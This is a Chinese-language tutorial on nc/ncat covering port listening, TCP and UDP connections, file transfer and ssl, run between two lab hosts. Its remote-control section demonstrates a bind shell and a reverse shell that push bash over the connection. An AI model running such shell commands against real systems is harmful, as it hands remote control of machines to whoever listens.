nc介紹
ncat
/nc
既是一個端口掃描工具,也是一款安全工具,還能是一款監測工具,甚至可以做為一個簡單的 TCP 代理。
在大多數 Debian 發行版中,nc 是默認可用的,它會在安裝系統的過程中自動被安裝。 但是在 CentOS 7 / RHEL 7 的最小化安裝中,nc 并不會默認被安裝。 需要用下列命令手工安裝。
yum install nmap-ncat -y
監聽端口
使用-l
選指定監聽端口,加上-v
選項顯示詳細信息
[root@host_1 ~]# nc -lv 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
連接端口
nc默認就是連接端口,-v
顯示詳細信息,-u
連接udp端口
[root@host_2 ~]# nc -v 192.168.159.134 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.159.134:1234.
查看系統開啟的udp端口
[root@host_1 ~]# netstat -unlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
udp 0 0 0.0.0.0:3139 0.0.0.0:* 691/dhclient
udp 0 0 127.0.0.1:323 0.0.0.0:* 640/chronyd
udp 0 0 0.0.0.0:68 0.0.0.0:* 691/dhclient
udp6 0 0 :::45845 :::* 691/dhclient
udp6 0 0 ::1:323 :::* 640/chronyd
連接udp端口
[root@host_2 ~]# nc -vu 192.168.159.134 3139
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.159.134:3139.
傳輸文件
在端口已連接的基礎上,可以進行文件傳輸。
- 主機1作為接受端打開端口
[root@host_1 testdir]# nc -lv 1234 > receive.txt
主機2上連接端口并傳輸文件[root@host_2 ~]# nc -v 192.168.159.134 1234 < anaconda-ks.cfg Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.159.134:1234. Ncat: 1238 bytes sent, 0 bytes received in 0.03 seconds.
遠程控制
現有host_1
host_2
兩臺主機,演示host_2
控制Host_1
host_1 192.168.159.134
host_2 192.168.159.130
- 正向控制
host_1
執行:
[root@host_1 testdir]# nc -l 1234 -c bash
host_2
執行:
[root@host_2 ~]# nc -v 192.168.159.134 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.159.134:1234.
hostname
host_1
nc
命令通過建立的連接將bash
傳遞給對方。上面host_2
連接成功后,執行hostname
命令返回host_1
主機名,表示已成功控制host_1
由于正向控制是在被控端開啟端口,所以若存在防火墻很有可能無法連接成功
- 反向連接
主機host_2
監聽端口[root@host_2 ~]# nc -l 1234
主機host_1
連接端口并推送bash
[root@host_1 testdir]# nc -v 192.168.159.130 1234 -e $(which bash) Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.159.130:1234.
控制端主機開啟端口監聽,被控端主動連接端口并推送bash
到控制端。
nc傳輸加密
由于nc
使用明文進行傳輸數據,所以引入ncat
命令。ncat
命令使用--ssl
選項表示開啟ssl
管道加密傳輸。